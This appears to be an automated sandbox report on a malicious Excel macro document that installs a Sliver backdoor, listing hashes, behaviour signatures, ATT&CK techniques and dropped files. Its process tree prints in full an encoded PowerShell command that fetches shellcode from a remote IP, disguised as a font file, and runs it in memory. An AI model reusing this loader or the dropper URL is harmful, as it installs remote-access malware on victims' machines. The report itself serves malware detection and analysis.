sliver | 29c4b9dd411a6cbf5ac4c479aabcad90cdd8e1228509df7918920b7bf7d89527

General

Target

29c4b9dd411a6cbf5ac4c479aabcad90cdd8e1228509df7918920b7bf7d89527.xls
Size

46KB
MD5

20118dff69247ba2005af86a2d37c4a5
SHA1

a17d3a00fcbc2c7d88f9d351bc6a03efd3a3e867
SHA256

29c4b9dd411a6cbf5ac4c479aabcad90cdd8e1228509df7918920b7bf7d89527
SHA512

60763b30fbba621f581a2b470f40a7d6d45755e4c661c80d4b1fd845fc5441203c9e2bf51ff62bd7e6086d0650ccee72614b32b09ad14731f2b4626d182c49c8
SSDEEP

768:b4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:sSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score

10^/10

sliver backdoor execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1624	1420	powershell.exe	82

Sliver RAT v2 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1624-71-0x00000188789E0000-0x000001887945E000-memory.dmp	SliverRAT_v2
behavioral2/memory/1624-73-0x0000018879EE0000-0x000001887A9C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/1624-75-0x0000018879EE0000-0x000001887A9C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/1624-74-0x0000018879EE0000-0x000001887A9C6000-memory.dmp	SliverRAT_v2
behavioral2/memory/1624-72-0x0000018879EE0000-0x000001887A9C6000-memory.dmp	SliverRAT_v2

Sliver family
sliver
SliverRAT
SliverRAT is an open source Adversary Emulation Framework.
trojan backdoor sliver

Blocklisted process makes network request 21 IoCs

Processes:

powershell.exe

flow	pid	Process
23	1624	powershell.exe
26	1624	powershell.exe
40	1624	powershell.exe
41	1624	powershell.exe
42	1624	powershell.exe
43	1624	powershell.exe
44	1624	powershell.exe
45	1624	powershell.exe
46	1624	powershell.exe
47	1624	powershell.exe
48	1624	powershell.exe
60	1624	powershell.exe
63	1624	powershell.exe
64	1624	powershell.exe
65	1624	powershell.exe
66	1624	powershell.exe
67	1624	powershell.exe
68	1624	powershell.exe
69	1624	powershell.exe
70	1624	powershell.exe
71	1624	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
1624	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
1420	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1624	powershell.exe
1624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1624	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	Process
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE
1420	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEpowershell.execsc.exe

description	pid	Process	procid_target
PID 1420 wrote to memory of 1624	1420	EXCEL.EXE	86
PID 1420 wrote to memory of 1624	1420	EXCEL.EXE	86
PID 1624 wrote to memory of 4728	1624	powershell.exe	89
PID 1624 wrote to memory of 4728	1624	powershell.exe	89
PID 4728 wrote to memory of 4908	4728	csc.exe	90
PID 4728 wrote to memory of 4908	4728	csc.exe	90

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\29c4b9dd411a6cbf5ac4c479aabcad90cdd8e1228509df7918920b7bf7d89527.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\oosj4cuh\oosj4cuh.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES81D2.tmp" "c:\Users\Admin\AppData\Local\Temp\oosj4cuh\CSC4ED83423C804432B61358D120A42673.TMP"
      4⤵
      PID:4908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RES81D2.tmp

Filesize
1KB

MD5
64c6fdcb373bad218fbb6692b3dd04c5

SHA1
e097bbbd9d21822c9506390fffcac4700fdd70e5

SHA256
4674a68026abfb148cad1e7dee6908042875449566b2b1a74a315b92ba503424

SHA512
84e24e17daba4668b2e3c1a0127d0efa8abb34a22cef2386ee89bbd93ddd8698c7a1c42a156a08a32da4644f5dbdf136f8b0db3c42699d92046f0b30d969124d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hw2ycgk5.t2m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\oosj4cuh\oosj4cuh.dll

Filesize
3KB

MD5
66d27a7a0c59564515d3ed4570f9538f

SHA1
9f45faa128818d84773c1a2cddd8da655ac29bb9

SHA256
f48a045b0ece39a4def0064f16f93932687cf2a7a45d8171d864801e834c8e3c

SHA512
86002f764089e1a514147aeecb2643d77190ee3de984165e4f5aed2211cd1c53a7f898ba32b402f7e405245d35070aafb022e4b5d2593e6ed08f4d7f63204787

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\oosj4cuh\CSC4ED83423C804432B61358D120A42673.TMP

Filesize
652B

MD5
5b32b1aea303ba69ef860f14d1e7c53d

SHA1
19e5e197fed3b5f3260e4f99b2e1bc0dc0af2326

SHA256
f9758369389ec2a85c7e7f79e428922a1f3ea608fa1ccdbb3d8f81aba2a5210f

SHA512
aee512d85acdf3bbb269fe2f887eebcaa18a343d39e844c1fad466c0fea97e84f8f2425b4b7a89159eaaf1575494be638baed644e97f3d64b6e1d3f81bf818fb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\oosj4cuh\oosj4cuh.0.cs

Filesize
631B

MD5
f4dd5c682eb7b3b679f084261bfc7c4c

SHA1
70f75d7a4e42c185eb09139ed3c6f7338a2219c2

SHA256
2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

SHA512
8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\oosj4cuh\oosj4cuh.cmdline

Filesize
369B

MD5
5ce9be903139bc1683ff6bd8cfdb8f39

SHA1
58ea58edc8194a7ff9d9eeb9b6c85309f946164f

SHA256
e58097f2c601f768a208351e3d7fbac81e87b16c9d6f2db532951f2c2fab1fc1

SHA512
dff6b5b2d6edcd8d7fd68329072b866465018634a5acaf0a668f3622c8bd3502b94ca960926103d4e8c82ecb8ee6bfe6dd8527d10fce27662ba0c07b6e28cde5

Download Submit
memory/1420-12-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-28-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-13-0x00007FFD5E220000-0x00007FFD5E230000-memory.dmp

Filesize
64KB

Download
memory/1420-1-0x00007FFD60470000-0x00007FFD60480000-memory.dmp

Filesize
64KB

Download
memory/1420-11-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-15-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-16-0x00007FFD5E220000-0x00007FFD5E230000-memory.dmp

Filesize
64KB

Download
memory/1420-14-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-7-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-18-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-17-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-6-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-5-0x00007FFD60470000-0x00007FFD60480000-memory.dmp

Filesize
64KB

Download
memory/1420-64-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-24-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-8-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-10-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-4-0x00007FFD60470000-0x00007FFD60480000-memory.dmp

Filesize
64KB

Download
memory/1420-9-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-2-0x00007FFD60470000-0x00007FFD60480000-memory.dmp

Filesize
64KB

Download
memory/1420-3-0x00007FFD60470000-0x00007FFD60480000-memory.dmp

Filesize
64KB

Download
memory/1420-0-0x00007FFDA048D000-0x00007FFDA048E000-memory.dmp

Filesize
4KB

Download
memory/1420-70-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1420-62-0x00007FFDA048D000-0x00007FFDA048E000-memory.dmp

Filesize
4KB

Download
memory/1420-63-0x00007FFDA03F0000-0x00007FFDA05E5000-memory.dmp

Filesize
2.0MB

Download
memory/1624-38-0x00000188784C0000-0x00000188784E2000-memory.dmp

Filesize
136KB

Download
memory/1624-58-0x0000018878620000-0x0000018878628000-memory.dmp

Filesize
32KB

Download
memory/1624-71-0x00000188789E0000-0x000001887945E000-memory.dmp

Filesize
10.5MB

Download
memory/1624-73-0x0000018879EE0000-0x000001887A9C6000-memory.dmp

Filesize
10.9MB

Download
memory/1624-75-0x0000018879EE0000-0x000001887A9C6000-memory.dmp

Filesize
10.9MB

Download
memory/1624-74-0x0000018879EE0000-0x000001887A9C6000-memory.dmp

Filesize
10.9MB

Download
memory/1624-72-0x0000018879EE0000-0x000001887A9C6000-memory.dmp

Filesize
10.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads